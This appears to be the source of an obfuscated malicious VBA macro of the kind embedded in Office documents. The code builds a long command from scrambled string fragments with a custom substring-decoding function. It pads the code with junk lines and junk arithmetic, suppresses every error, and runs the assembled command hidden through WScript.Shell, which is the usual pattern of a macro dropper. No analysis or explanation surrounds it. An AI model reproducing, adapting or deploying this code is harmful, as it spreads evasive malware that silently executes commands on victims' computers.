CnzRqiSXaj = ytgUBhjkgbksad("@S)3zT] VAUGAzAgZAYGA5AAMAcDA5AQNAMDAhBANAUDAhBQYAIDAyAwYAYDAkBwMAcDA1AwNAEGA2AgMAUDA0XPrS", 5, 77)
bUozRRincqNdSMHcpwBYEWRLtYIip.QfZkOEFHKrsQzIGmNMlRwGD.tFDcDtIvwwahEhwCXhoJfoYIFHK.wXhJcfrIAdDRizSBhYijNjuRStOF
mCpwsbpcLbIZSLo.kPaofzCXTirIuPQIBKtEfDC.hIzjPLcHifRlVdfpASiNkji.KzXIRjBjMsGXzSIHCkiOzinYfEDN
bUmIfjTOB = ytgUBhjkgbksad("I3N_MDAmBQZAcDAiBwYAYGA0AwMAcDA1AQNAMDAwAAOAIDA0AwNAUDAzAQMAADA2AgNAADAxAAZAUGA1AQNAgDAjBAMAgDA5AQZAYDA2AgMAkDA2AwMAIDAhBgNAcDAmBwNAQDAmBgYAMDA3AgYAMDA0AQNAQDAlmYwV8YEtw(UKdTUJUI8TzYCB@$Wm", 29, 156)
mCpwsbpcLbIZSLo.kPaofzCXTirIuPQIBKtEfDC.hIzjPLcHifRlVdfpASiNkji.KzXIRjBjMsGXzSIHCkiOzinYfEDN
uFbSXhlnGtSlMu.drGqHZNFkjOuffqnZIOOfjBkIsl.tdErdfiBfnqijzrlJmGHPFs.zfMwqWiPohMGcXRzzpImRj
IjUZb = ytgUBhjkgbksad("K$@4sdqtXFko5CBC8t(np_ht8@NdrBgNAYDA0AgYAMDAhLoVCWUj)Y#", 11, 16)
uFbSXhlnGtSlMu.drGqHZNFkjOuffqnZIOOfjBkIsl.tdErdfiBfnqijzrlJmGHPFs.zfMwqWiPohMGcXRzzpImRj
OuXioizBjwFZiKuNwzLi.QYAnjXLaYoJwhQDUWrsX.wiOfiYkLQLGrBw.XvHLlaLHvdwuqsZFSGQ
cLBXR = ytgUBhjkgbksad(")8UIrwMAEGAmBAZAMDA4AAZAEDAwAQMAMDA0AwMAkDAzAgNAMDA4AQYAEDA2AgYAcDA4AgYAADAhBQZAYGAxAQZAMGAiBgZAEDA0AAZAYDAiBQYAQGAlBQNAkDAwAAZAgDA5AQOAIGAyAgYAQGAjBAOAEGAiBQOAl_@9Q", 6, 155)
OuXioizBjwFZiKuNwzLi.QYAnjXLaYoJwhQDUWrsX.wiOfiYkLQLGrBw.XvHLlaLHvdwuqsZFSGQ
kLzaCBThrQRSAcNUtBO.tLwdwGwOQmmzZiJUoRFiMRMj.cXUuLtjZCcZPUcwEFREi.tRTsfbvkXbwPFWicUE
KFdlj = ytgUBhjkgbksad("VTVYWrFO4QdB@))) ))041,241JQ8([l%#_Xrb$)", 15, 13)
kLzaCBThrQRSAcNUtBO.tLwdwGwOQmmzZiJUoRFiMRMj.cXUuLtjZCcZPUcwEFREi.tRTsfbvkXbwPFWicUE
MdPnpcmizGDicF = EqTZYphrl + DZWFjFUoJZGAHB + UzsszcW + ChrW(34) + jFABfRn + ZojotiTEQtT + obAOL + iRjaVYWaM + HUAWRUJ + CnzRqiSXaj + LdIwbi + IjUZb + cqdAfnEmHG + jwoAcCcOLT + NppsGZCauX + lqVEG + mHcDKwKkI + TioSC + Glmza + OPijHCX + UMUrYzV + qnqORjcLvR + PWWROVAlInm + ZGRzT + KiijnNk + zUTwRkDIHt + swuFvciUW + SoFbCV + hEzmlk + CzXptKHc + ZmZwQzwm + cLBXR + hDNWorwjcb + TaqPnDb + drifstZRA + SDoBOHb + KnTJBAT + bUmIfjTOB + BJOEiOkto + Lkwlf + njFccHOwYvk + joilTdvX + PdUkGwTuiUq + lqvpfoN + jIcqcjIVU + GMksNQU + ZNnBjQz + KFdlj
ofAazOGNc = MLbsWM * mKnlLQ / rNwmc - Round(5415493 * CSng(3563906 * CInt(cPkrE)) + GFiw - Round(VowaOM)) - 544 / QOVdBd + ZilP / Rnd(kASnj) * (2202715 / CDbl(1362043) + (IajEE / CByte(8004414 / CDbl(2799358) - 9141737 / 7564575)))
End Function
Attribute VB_Name = "KSZwflDEiQfc"
Sub pqQjqRN(GZoNkZsZG As String)
On Error Resume Next
comoNBPaVpzaJhsWEuaJGE.BlYpIBppJTJNJmwAVWL.dbVVDKiaVESYXTkDoMHYjzoHAT.jIuEnvPsaPClzTPTEAkqpBtL
OmIdnOVkbwSazfc.bKnlaKERfjGPdt.OjvYIGOmBhBVVztEVHhOrFZ.EirzEHFHiQDrEHUBMXmDZpjT
ilHvipJJMUaPRitctmEuBAOnj.USVJOwXKZWzM.athrmtmuptbfC.ZliWUPdVqoDFcrHIWfhjdA
IbtuGiZudLTwYvAcwa.CtojRunjXvwTB.RVvaVWqRuZtJtiNWCkJY.aUuczTwCwfsRYGZECbEOlzOmIAETA
NKdbrAAwVCsPvuBsUcoRAJFJLaF.UwPfBERinzPYEE.BWWDUlQjcijtEF.PQusdWmMNqcSEXNPMv
CreateObject("WScript.Shell").Run DnpXl + GZoNkZsZG + ESnASLMdT + wdMajOJIMrT, vbHide
JPPWzBBhatJVZEz.vfPplpOlzVTodjKu.sIYkvNKbmHFUq.fPzNhbdaTAdW
iMDtiPSjvbbzRFNwhJRJT.ZjSdSZSoXGZlbOiNWFYVjnVOQ.PbmrMNJvmXbFwtNGDUa.dzPUmMkwDmKEMwJqCjuLcj
KmQIfHdkBoktQLREAcKrA.WtAjXDWaPDwXEhWE.qaBJQcCtilctiR.azPXHwkZNaYhwtHkhwXUQzEGQz
End Sub
Function UzsszcW()
On Error Resume Next
LfJPjWtndSwvAzRBNbHzImmZz.uzJzqiRWchhzQ.jshcmMcUdVOQXpiZtjRdcuifcUdd.kUOKLQQFJmkbZWniZGb
YwaOm = ytgUBhjkgbksad("Fjbt%Wo% EKVd#zN", 8, 4)
LfJPjWtndSwvAzRBNbHzImmZz.uzJzqiRWchhzQ.jshcmMcUdVOQXpiZtjRdcuifcUdd.kUOKLQQFJmkbZWniZGb
IXiuPIBfmFwawWlbcowUKLBIGSoNo.VduJhbNlPJKhYFlnAiNUOwUqoz.anzUnqvkTjppKNqYoKd.wXTRJzUcWIDUkFnwSpWqcURHL
NKvtwjkDz = ytgUBhjkgbksad("d(3%mqTZEfvnpCtIzFjb", 10, 8)
IXiuPIBfmFwawWlbcowUKLBIGSoNo.VduJhbNlPJKhYFlnAiNUOwUqoz.anzUnqvkTjppKNqYoKd.wXTRJzUcWIDUkFnwSpWqcURHL
ibHkdZpHZmvbiFm.FjwjEBmCCBjlbwcVznzXSYiSohPz.AZkRtwBQbEcoFibqDjbJa.qGPihBjrXmmaBczThAaFY
ptriDo = ytgUBhjkgbksad("5BiG%!!%NRqjQqp%JXXzVOVUkbhF1jQ<YhV3Xo", 23, 13)
ibHkdZpHZmvbiFm.FjwjEBmCCBjlbwcVznzXSYiSohPz.AZkRtwBQbEcoFibqDjbJa.qGPihBjrXmmaBczThAaFY
VDPsJDwpXDWTb.CfOJHJWLDpOXzGUAGIIKDlrU.sqDALKQiUMnHzY.jKzailEqUXzOKRhQnuCPSTLrf
qMEEdSZkizD = ytgUBhjkgbksad("JMzJjCbjjjvlYBaaicu=%ZERDwNQoWZSTF4ko6WIQaH", 10, 19)
VDPsJDwpXDWTb.CfOJHJWLDpOXzGUAGIIKDlrU.sqDALKQiUMnHzY.jKzailEqUXzOKRhQnuCPSTLrf
QEikKtkPCsXLlKwmPFElkTZEqbK.zcOKPlnlTHCfXrLkstjcstHoHwIz.atiioRadMwzXNTIDYOsIpL.viDEUZDTdqGsNTzjakGfzjEfZzlii
kGJjpAOR = ytgUBhjkgbksad("zCv5II(95Vp)1 UY((jd$))m&!%FciDGzidoVk(T1Xslm8 ", 14, 10)
QEikKtkPCsXLlKwmPFElkTZEqbK.zcOKPlnlTHCfXrLkstjcstHoHwIz.atiioRadMwzXNTIDYOsIpL.viDEUZDTdqGsNTzjakGfzjEfZzlii
OoXEnHbaTKHTJwHBUBYd.UdwNREwblmrzTfncE.zSBikUjtOHaSoLi.tLbqVDiziYQWqS
sGojjnbRaGh = ytgUBhjkgbksad("i@zF_9YO9s)V(t9TloQV668N!iA#8Cr(!!%GZJi", 3, 5)
OoXEnHbaTKHTJwHBUBYd.UdwNREwblmrzTfncE.zSBikUjtOHaSoLi.tLbqVDiziYQWqS
cqKNPIzbEaUSqXji.ijjNBXarHutBpOJPhcVmPpLSjlS.rjDYiTcVGAaSjVINFa.LLCJuNrbtVNiQFIAX
dCGNJmJHAX = ytgUBhjkgbksad(")5CIwHtqMwbwuCiO% tesU63lF_w", 8, 18)
cqKNPIzbEaUSqXji.ijjNBXarHutBpOJPhcVmPpLSjlS.rjDYiTcVGAaSjVINFa.LLCJuNrbtVNiQFIAX
NFupaIHWvKzJKTwBJUz.zilVciAddivSUPqPUU.IZvhdBuVBiwmmuUWiUYM.HdsQOipudijowrtEBHUiIwvfsJYz
cHbMpVrFFh = ytgUBhjkgbksad("m#dzkBYl#h9zGzqIq9O5o5t#@<tes&&wo=%FciDGziv8c", 4, 16)
NFupaIHWvKzJKTwBJUz.zilVciAddivSUPqPUU.IZvhdBuVBiwmmuUWiUYM.HdsQOipudijowrtEBHUiIwvfsJYz
aURqpKcDpLTiLzMIrbtRQwFC.fHmfrVYNoGfhjScjjXfnVYdcra.YiTiOOAKDqXwpuRWsjaHJ.ikYZPUGiJoRtAiVbQ
NEqlH = ytgUBhjkgbksad("!)Oc(YnzJVqKj% j<U(A_JlS6<38r", 15, 9)
aURqpKcDpLTiLzMIrbtRQwFC.fHmfrVYNoGfhjScjjXfnVYdcra.YiTiOOAKDqXwpuRWsjaHJ.ikYZPUGiJoRtAiVbQ
iRzfsWfqvRbrOBprbrEjbPI.XJQLMfOWPFtaYwbBFNEwcZhCu.ESVLGPJLHiGUiQD.bIIPSiQCbNKLI
ltRdrirCJWd = ytgUBhjkgbksad("VH84#4WuUbTIGdzEz% tes&&sYocO(4DYjz#1", 13, 19)
iRzfsWfqvRbrOBprbrEjbPI.XJQLMfOWPFtaYwbBFNEwcZhCu.ESVLGPJLHiGUiQD.bIIPSiQCbNKLI
zBfPYNlWwwfPNoC.FitYOGRIfozlvXRotfprrSCBKm.AotzQoimarXwtkXjjOAba.rWhwLzncrOcfRUlpiwMlqzW
iuAUWLovwZ = ytgUBhjkgbksad("6FMUiTE@CHhkE=%NaEOlz9VC", 4, 12)
zBfPYNlWwwfPNoC.FitYOGRIfozlvXRotfprrSCBKm.AotzQoimarXwtkXjjOAba.rWhwLzncrOcfRUlpiwMlqzW
pVNqULwsiTUvcRk.aQMuPKQGkYRwH.kkXaNfijmwjN.SaOTJTrjOCCuf
rWZCEVT = ytgUBhjkgbksad("dwto<6NoZ@9l3", 5, 3)
pVNqULwsiTUvcRk.aQMuPKQGkYRwH.kkXaNfijmwjN.SaOTJTrjOCCuf
YVTJcNlwmMiAtiSJUWLrKduzt.iPJLTpGohAREjqrqIClDATWjAMXYc.bTPifVnbtsuEBSsPnUzUVrOqzOtZ.GShMmZwpELWChJs
RVshjov = ytgUBhjkgbksad("@pIp$U)XJzW[El((3HtqMwbk<4", 4, 6)
YVTJcNlwmMiAtiSJUWLrKduzt.iPJLTpGohAREjqrqIClDATWjAMXYc.bTPifVnbtsuEBSsPnUzUVrOqzOtZ.GShMmZwpELWChJs
utrjoUoQNpAGPwiQOwwJCEVCrjtF.OtkkRumPvnqHIzwq.HQMVCnfPtqXprIbjCz.PWwErBSLGCtFXMaZcssLFFUXEPaE
ksAQFMCaOSA = ytgUBhjkgbksad("6VrX5GrOQY)qX8dsRsfZvJim% tes&&!%Iw9Tt<$F(X", 9, 19)
utrjoUoQNpAGPwiQOwwJCEVCrjtF.OtkkRumPvnqHIzwq.HQMVCnfPtqXprIbjCz.PWwErBSLGCtFXMaZcssLFFUXEPaE
bFqljsMhkEavPMTsnozS.ztHVFtQKjklHsSGQzpvGoQjB.quNljEuHocMiPbwwXETooXuMbnzD.uiNGaOzCYzfrzDqu
fzzdsVVVwtd = ytgUBhjkgbksad("rL<(iVjBkKk$o44<YhV)aj8jE3c#hljkGnQQZIi", 3, 6)
bFqljsMhkEavPMTsnozS.ztHVFtQKjklHsSGQzpvGoQjB.quNljEuHocMiPbwwXETooXuMbnzD.uiNGaOzCYzfrzDqu
icNiaThwGMaGRL.FPIYiWpwpPbPHQGAzZF.EdFkGAmVziCEuwPiPMAjpiYSz.ZhzLbjLXQcJYR
FMCsiAtt = ytgUBhjkgbksad("9zWKo<dVMV(cdjI(zcv_oes&&re=%NRqjQqp%lL@_kCrVN]jQz_", 15, 16)
icNiaThwGMaGRL.FPIYiWpwpPbPHQGAzZF.EdFkGAmVziCEuwPiPMAjpiYSz.ZhzLbjLXQcJYR
VKOkYiESFmlGUqLwW.MYwSWaQsBnQCVailkXWi.BSpctjGOKlmmzZsQDooUfjQB.RLciFoanmLFJq
GDJqiwmZnNY = ytgUBhjkgbksad("6_UcFzVSO11iM tes&&haHnBisWqVp=ri_#j9JS6qCc", 13, 18)
VKOkYiESFmlGUqLwW.MYwSWaQsBnQCVailkXWi.BSpctjGOKlmmzZsQDooUfjQB.RLciFoanmLFJq
SfSsIlWuvHcDIbVf.ntfimsMUavOcDipiBzw.UIpdkiFptiVzw.bKSifnFXhpIRrYnVGdWZAfDCuE
BiRVQGnFPW = ytgUBhjkgbksad("@VVrJj1dnY=%cBtiJ", 2, 6)
SfSsIlWuvHcDIbVf.ntfimsMUavOcDipiBzw.UIpdkiFptiVzw.bKSifnFXhpIRrYnVGdWZAfDCuE
qfdkcOKDmKWiacQ.PosonFAkOiAtjRYQqQPIqkpCU.QuGZAUrVtWjXXkfs.wOQTUlFoJMIwizpUboF
YTwquGlNww = ytgUBhjkgbksad("Nr4IlSjqIes_1P)C3zlPmzola8", 16, 2)
qfdkcOKDmKWiacQ.PosonFAkOiAtjRYQqQPIqkpCU.QuGZAUrVtWjXXkfs.wOQTUlFoJMIwizpUboF
PHEmoTOcBfnVdiQ.NcvzjblEsfFSr.soJRUZUOQWiST.jkfYNVwohwioWAtJNvkwmz
owqSfhRjS = ytgUBhjkgbksad("N9owht_UJ5p<941zbcXm<X83ojiOOLD$[O% tj", 2, 4)
PHEmoTOcBfnVdiQ.NcvzjblEsfFSr.soJRUZUOQWiST.jkfYNVwohwioWAtJNvkwmz
zzrsfzYMIbZh.jnsKETABmDTbORMrPpZXGENtEWL.tztKZuWvZMmTnwKwY.RiLVsmAJlfZzFhIlI
ErmSwKXPYIW = ytgUBhjkgbksad("O<44WcYV9OszP@Et9rVzDWq1dKj%a6", 3, 3)
zzrsfzYMIbZh.jnsKETABmDTbORMrPpZXGENtEWL.tztKZuWvZMmTnwKwY.RiLVsmAJlfZzFhIlI
iiHhVTiOmczZi.wChVKztWwLKvVRQXXZaqLRLZ.noXcWWRCptDKWdOKHjwXZzRw.EYwrXhqHkXLWubpss
dNaSwiUPZX = ytgUBhjkgbksad("wY9VcwTkt(@8mdBNjr4VwuCiO%!=%NzcRPrCA% jY", 3, 19)
iiHhVTiOmczZi.wChVKztWwLKvVRQXXZaqLRLZ.noXcWWRCptDKWdOKHjwXZzRw.EYwrXhqHkXLWubpss
LSjoafjahSTfYPNlRMDTtpzzus.mwsUBlDGNnFXosEWOAUwADilTGjz.SmtiizbpwSuUIAwMoOb.TkzawwiTGAuEFkvBLpFudjQiZ
IRJav = ytgUBhjkgbksad("Cb#ComcpnPdM% tes&&p=%_<)U_1lco35bjWTbpBkYIwzj_J", 27, 17)
LSjoafjahSTfYPNlRMDTtpzzus.mwsUBlDGNnFXosEWOAUwADilTGjz.SmtiizbpwSuUIAwMoOb.TkzawwiTGAuEFkvBLpFudjQiZ
uMMWPHYDsCcGmqoPacqqkCAri.CPAjaqQXfwJiuphNAmXF.jCjHiMPCsMVnrEIDIclpOKqF.hAIXCOUdoSMRcriAVnmoqCkYKrJl
iMIlPH = ytgUBhjkgbksad("jX(6itVnYQ<1YYozDdX4i5M))8<zKVN&&O$35k", 5, 3)
uMMWPHYDsCcGmqoPacqqkCAri.CPAjaqQXfwJiuphNAmXF.jCjHiMPCsMVnrEIDIclpOKqF.hAIXCOUdoSMRcriAVnmoqCkYKrJl
NGSPwsdhrIwm.GYVHdBpGYIvUYZrVWoMaNAD.kEicqaOhVnCRzBvNPupwW.aTmMUTjLTGUvWZXNQztOwlWZXVtz
kowEva = ytgUBhjkgbksad("3<)VtGW#@ltwUqwhj% tes&&eh=%8Oj1d1TKdr(G8A3B", 17, 18)
NGSPwsdhrIwm.GYVHdBpGYIvUYZrVWoMaNAD.kEicqaOhVnCRzBvNPupwW.aTmMUTjLTGUvWZXNQztOwlWZXVtz
nHBdnNNOsCaw.YwrFCTJIuuCMfGqBtMAQJi.kPbNiOftPJmkwYIIzmts.zQIHWNwqZiVpZGpa
KUzhRwjTZF = ytgUBhjkgbksad("4<5jJJl!Gn!(WIvW)jrhETYd<Uqwhj%!!%nzJVqs", 2, 14)
nHBdnNNOsCaw.YwrFCTJIuuCMfGqBtMAQJi.kPbNiOftPJmkwYIIzmts.zQIHWNwqZiVpZGpa
HzzYVQpihfmiaiALGSDu.XXrCpSbkpfdQoYKQQbzzj.IUXnhRfSjwvzjbGWfzNurzJ.mFqupqFwvpOWfClK
dbQMdkaMYLp = ytgUBhjkgbksad("l)tzckbes&&EJYafmVzuhVDFOik5rz IoYk9vwJSIMr8<t3dO]J", 29, 16)
HzzYVQpihfmiaiALGSDu.XXrCpSbkpfdQoYKQQbzzj.IUXnhRfSjwvzjbGWfzNurzJ.mFqupqFwvpOWfClK
fCCCLqroHUbGJliP.jrsPvKnaYniaTkDLULiMZlQw.tUBkfijttjRww.rObmDIOokYvpZzDLuavLCqlq
jzvDztGw = ytgUBhjkgbksad("BzI9iVzNVOQIoW9(ob", 9, 1)
fCCCLqroHUbGJliP.jrsPvKnaYniaTkDLULiMZlQw.tUBkfijttjRww.rObmDIOokYvpZzDLuavLCqlq
HiBIiIVuUhYShquo.XKzhcGBJhvLjKCkPCijRRQa.LpSvoAdKoEchFficz.zNJNKfoCiLKXQGjkVmoGVhSBsGZDK
htrnOzB = ytgUBhjkgbksad("ttO)K9cd[iIEIL1s5z$S@@3CPYCA%!&&ll=%]t[KNk<h]ESi", 13, 10)
HiBIiIVuUhYShquo.XKzhcGBJhvLjKCkPCijRRQa.LpSvoAdKoEchFficz.zNJNKfoCiLKXQGjkVmoGVhSBsGZDK
HiwASlzCQjhoImpjwazrn.XIuhMSOpqZuHkAurDMOaPPpTlVbhG.zHpJHpGkZhoatHuACooHWld.iITavqrhjHamSatE
dMXwaVDSv = ytgUBhjkgbksad("McEcVP(dt@qz%_Na%BdBNJXOskwj% trNprrhE<", 9, 12)
HiwASlzCQjhoImpjwazrn.XIuhMSOpqZuHkAurDMOaPPpTlVbhG.zHpJHpGkZhoatHuACooHWld.iITavqrhjHamSatE
DjGIEQuUYbtA.EhiVujiOfiopEwKATAaO.UafDzcbJzHHDDQUhzKD.mYCRSARkTEbTmCkHzSzHCEfWhlA
PZHdcMkw = ytgUBhjkgbksad("QVzB$i9@OX)5VF1%9kC<B!!%whEICPAO%!!%tA93U", 6, 15)
DjGIEQuUYbtA.EhiVujiOfiopEwKATAaO.UafDzcbJzHHDDQUhzKD.mYCRSARkTEbTmCkHzSzHCEfWhlA
WlCblwOLjGFEPEPEAilMIBzSZL.zqaYaQvPlIAd.TiClaRCVzpsFAdhVlkCawPUIiioU.dvAEptZwNrHJfBAhSZmOtAYzDz
qdnKTV = ytgUBhjkgbksad("YVhz<XGrmcpnPdM%!=%whEICPAb3VV", 5, 18)
WlCblwOLjGFEPEPEAilMIBzSZL.zqaYaQvPlIAd.TiClaRCVzpsFAdhVlkCawPUIiioU.dvAEptZwNrHJfBAhSZmOtAYzDz
KMSCnjFhCiYCzGJjpHhaXocGF.FvHGinsFTiSEKuZJrjR.qVbBFoFsOWjL.RiJZvAkKtnfNkwnBNzvoDfkTGApi
HhcwOijQQS = ytgUBhjkgbksad("q5b]DQOcd4tsziovsZk)@_", 4, 3)
KMSCnjFhCiYCzGJjpHhaXocGF.FvHGinsFTiSEKuZJrjR.qVbBFoFsOWjL.RiJZvAkKtnfNkwnBNzvoDfkTGApi
FQZDQvvQAEkwUBwQkjtJoh.NUcIIhwcYmDDwMFdmkIdF.sZtLEwJNEoXoLionniCcMJQzzE.DGZjDWWbCPwdBTLhOjJAWo
hMojzJEwo = ytgUBhjkgbksad("iN))()pJl)YSl !%twVVK_Ph)dF", 10, 5)
FQZDQvvQAEkwUBwQkjtJoh.NUcIIhwcYmDDwMFdmkIdF.sZtLEwJNEoXoLionniCcMJQzzE.DGZjDWWbCPwdBTLhOjJAWo
DjFcPsiGtlOqiUjaIHKzOwrFUqqZ.cLQTsuBVazwPmiFNAALwP.AIzhFoAIZBFiQZwWqaiEhIMibTm.TqfbNjKHWKoMVSawKHOfPdKkTKL
XpPDasD = ytgUBhjkgbksad("MbrOzzmrmtnr56bFOVjNzcRPrlojAz", 6, 6)
DjFcPsiGtlOqiUjaIHKzOwrFUqqZ.cLQTsuBVazwPmiFNAALwP.AIzhFoAIZBFiQZwWqaiEhIMibTm.TqfbNjKHWKoMVSawKHOfPdKkTKL
lPKOJGqmXqpsfrEwDDPCRFQHI.PKGwJPOAPOvwjiSQQtLHqTYz.GHPWjzCFZqffahadicqCET.kBoXwBtvmJSDIziiOstJsmk
VKLuwO = ytgUBhjkgbksad("tKnFhWtHmGQ=%GZ!r6", 4, 4)
lPKOJGqmXqpsfrEwDDPCRFQHI.PKGwJPOAPOvwjiSQQtLHqTYz.GHPWjzCFZqffahadicqCET.kBoXwBtvmJSDIziiOstJsmk
HmwOhPnsEKIUjp.BZNZmwzOpnvjf.JbzhjuTfTIQtfjOZlopIzKnZILIX.aljIzvjImAukVGE
NXIWlQ = ytgUBhjkgbksad("C@()_ r3!5MY9wbjMY6sZkNoZG% tes&#FVtYG8GtHmDVjr", 16, 13)
HmwOhPnsEKIUjp.BZNZmwzOpnvjf.JbzhjuTfTIQtfjOZlopIzKnZILIX.aljIzvjImAukVGE
SOdBAbYwwmDBsZt.rFSzGEsElHmzdDqFDCUIGwiim.pHHfKAZXIIwAEOWYQspbUvvwzqFkf.WkLIPkwGzmYGuiJCzGmhiqtLduM
FUjaCD = ytgUBhjkgbksad("@VrztF5tes&&wjPwVPHoNGhzi@s<5", 8, 15)
SOdBAbYwwmDBsZt.rFSzGEsElHmzdDqFDCUIGwiim.pHHfKAZXIIwAEOWYQspbUvvwzqFkf.WkLIPkwGzmYGuiJCzGmhiqtLduM
qrjQtwSCYHbma.umLPMiZKLwfnhYXJzswwziUAVcOw.JhSoPiLwHrUifjjlFRtfOJjqbzPSK.jTcLBPNzSqLLqAcUTwkPQLVRkzz
KfBFYXBiCa = ytgUBhjkgbksad("<(taJiQUraEW!6)kjFTt", 18, 1)
qrjQtwSCYHbma.umLPMiZKLwfnhYXJzswwziUAVcOw.JhSoPiLwHrUifjjlFRtfOJjqbzPSK.jTcLBPNzSqLLqAcUTwkPQLVRkzz
UzsszcW = YTwquGlNww + dMXwaVDSv + iuAUWLovwZ + fzzdsVVVwtd + jzvDztGw + iMIlPH + dCGNJmJHAX + IRJav + cHbMpVrFFh + YwaOm + qMEEdSZkizD + FUjaCD + dNaSwiUPZX + RVshjov + ksAQFMCaOSA + NKvtwjkDz + GDJqiwmZnNY + FMCsiAtt + owqSfhRjS + qdnKTV + kGJjpAOR + NXIWlQ + VKLuwO + ltRdrirCJWd + BiRVQGnFPW + dbQMdkaMYLp + KfBFYXBiCa + NEqlH + kowEva + htrnOzB + XpPDasD + PZHdcMkw + ptriDo + rWZCEVT + HhcwOijQQS + sGojjnbRaGh + ErmSwKXPYIW + KUzhRwjTZF + hMojzJEwo
cNRStnOIA = TiUX * wDTD / jNHdR - Round(6512262 * CSng(9151567 * CInt(XwLbC)) + lmBXS - Round(crbSz)) - 544 / PrKNS + hjNOFn / Rnd(Lslk) * (466511 / CDbl(8068161) + (cCmTzf / CByte(191119 / CDbl(6040438) - 8174689 / 8398186)))
End Function
Attribute VB_Name = "sStjjlGwHRwwJ"
Function EqTZYphrl()
On Error Resume Next
GobVpurIWJib.ZjFbWwFmtrBfZGdvuHiHSm.dzJslwpkGIQTdscL.iNNzaqQnNMbCA
aLNiIRKL = ytgUBhjkgbksad("HnvzB(rV V/ rbo", 4, 20)
GobVpurIWJib.ZjFbWwFmtrBfZGdvuHiHSm.dzJslwpkGIQTdscL.iNNzaqQnNMbCA
COTtVYVUrEvHhkmUmBwHifHoOa.DcUazjudUdKPhR.BfYUSjIktBmDGWGfiv.RrWdwYmGRrblOpPdcP
YdpAlk = ytgUBhjkgbksad("1EOJliO8z do(@<jMlCPlEOjljl)Cdb3ot#I", 27, 11)
COTtVYVUrEvHhkmUmBwHifHoOa.DcUazjudUdKPhR.BfYUSjIktBmDGWGfiv.RrWdwYmGRrblOpPdcP
wDzjhkFQqAsQwvkSaA.NiDERzPcDpEdPEKSXz.OqbZardvCTGMAiYCls.ijSHBalWcLmcMUGmdmJdMnDMJwdEz
oGvczMwwqEl = ytgUBhjkgbksad("Tjmljpb34)d6X5VlCVCCNtEMVvHc j48VQ", 6, 15)
wDzjhkFQqAsQwvkSaA.NiDERzPcDpEdPEKSXz.OqbZardvCTGMAiYCls.ijSHBalWcLmcMUGmdmJdMnDMJwdEz
nIGVaSDYRvMBuKjpthEzTSnujbU.MbAXYIzoziii.puAmjXCVQUCEwYUUMpzwBLpuoc.MsqLCWKdYnHAERjwHzSajdTnt
YCjhZ = ytgUBhjkgbksad("6@8W9NN$Q5bdj<EYrN)VV<VCHIkEojt", 12, 1)
nIGVaSDYRvMBuKjpthEzTSnujbU.MbAXYIzoziii.puAmjXCVQUCEwYUUMpzwBLpuoc.MsqLCWKdYnHAERjwHzSajdTnt
CcjzQKQpNPSjvddbDiaOXPR.jYIfulwHSUZOcQtUHY.bPmAABVunVkKnLSPrClvbRL.aDOwmoGGzhpCzXHd
jziQSCaE = ytgUBhjkgbksad("SbGj88c/ Il5rj@VTY4O FY6O#AWOdCnodiz@W", 30, 5)
CcjzQKQpNPSjvddbDiaOXPR.jYIfulwHSUZOcQtUHY.bPmAABVunVkKnLSPrClvbRL.aDOwmoGGzhpCzXHd
wqsKOJjmQOpca.hNzJvjNjppjpiXYiWfjsnf.OEiLNXGVivwvEzImUp.ACbZaLNisKthpCtjEN
CZsqsjiXPq = ytgUBhjkgbksad("XwvpE98nV6t1s@K_jJsD3@<6o#BoodjmWd_31<", 19, 3)
wqsKOJjmQOpca.hNzJvjNjppjpiXYiWfjsnf.OEiLNXGVivwvEzImUp.ACbZaLNisKthpCtjEN
UfLpiDjRvMLINHTmMYmzUsmsjlcbr.OUUDZKCjVdPbcJGCkqqd.qivdctTGwaHZVw.nKiIkdCJjsPclhBmlOSXqZazRj
jOmjSvajDOI = ytgUBhjkgbksad("V#PE#@#T%cEp^S^mo^C% %cEQt3dbt86V1P$Eh", 15, 22)
UfLpiDjRvMLINHTmMYmzUsmsjlcbr.OUUDZKCjVdPbcJGCkqqd.qivdctTGwaHZVw.nKiIkdCJjsPclhBmlOSXqZazRj
IAroYwQkVRqkQifQkjDifkGbBNo.iLawDFlfShUuhjkYrSoiXAopt.MYuPmLJfGKqrhKzAwCOIBwAh.jZKOiWlERtNkCvJlBcZhzkdj
jKFJUKuVbHT = ytgUBhjkgbksad("roazz svG]@OajYjjTK<6p9", 15, 7)
IAroYwQkVRqkQifQkjDifkGbBNo.iLawDFlfShUuhjkYrSoiXAopt.MYuPmLJfGKqrhKzAwCOIBwAh.jZKOiWlERtNkCvJlBcZhzkdj
WopBcbDlVzMZbWVjadEQAj.pkISKzzumuKSpIEmIEQMAOc.hzXQBkvcpIARUIslXEafRDfbWqv.kTfbHPlMbhtBwhdh
sHMQlL = ytgUBhjkgbksad("ITdmcr16ok)%C[dGmO)d", 16, 3)
WopBcbDlVzMZbWVjadEQAj.pkISKzzumuKSpIEmIEQMAOc.hzXQBkvcpIARUIslXEafRDfbWqv.kTfbHPlMbhtBwhdh
rDiliMFdwipXszRzIYQoVADO.TczhLWaEPGhsHZRWiFdGoQXvM.BQIPqzUzKkGvkLOScqj.BzzRmvaHzDEDUr
IcsuIn = ytgUBhjkgbksad("XHa1QThdDuCnDnVjUIi a)Wwj", 6, 15)
rDiliMFdwipXszRzIYQoVADO.TczhLWaEPGhsHZRWiFdGoQXvM.BQIPqzUzKkGvkLOScqj.BzzRmvaHzDEDUr
SWRRAIGCLKOZmppczqzQQv.SLNJbIrcdzVjloKj.tNmbXIQziGWKocOXKwGnwftUikZQJ.noHwWCJluCwMt
jizFkbzaIN = ytgUBhjkgbksad("QoF5@5p^S^mo^C% & MCRLWqX@Vk9J", 6, 23)
SWRRAIGCLKOZmppczqzQQv.SLNJbIrcdzVjloKj.tNmbXIQziGWKocOXKwGnwftUikZQJ.noHwWCJluCwMt
EqTZYphrl = sHMQlL + IcsuIn + oGvczMwwqEl + jKFJUKuVbHT + YCjhZ + CZsqsjiXPq + jizFkbzaIN + jOmjSvajDOI + aLNiIRKL + jziQSCaE + YdpAlk
BURoWHJbp = wANT * snjzn / SiDqF - Round(2265440 * CSng(2640177 * CInt(EDqmm)) + zQvCJA - Round(wkKwI)) - 544 / rsHTzY + imOw / Rnd(vvCl) * (89632 / CDbl(1227427) + (bbSb / CByte(8311606 / CDbl(6216391) - 8158860 / 7623920)))
End Function
Attribute VB_Name = "AniruGA"
Function ytgUBhjkgbksad(ByVal ACrPRczN As String, jhwqUwt, jKqVJzn)
On Error Resume Next
AuzLzZbtJGJGrHUusvqw.SjzNNQLVPWrpVRwiVohUOHrmDOsTo.zPDXhLzwjIQXukSRWpVLXGJblKsNJ.XrjQWclzknlWFYDqNGUlsDzdbsGcm
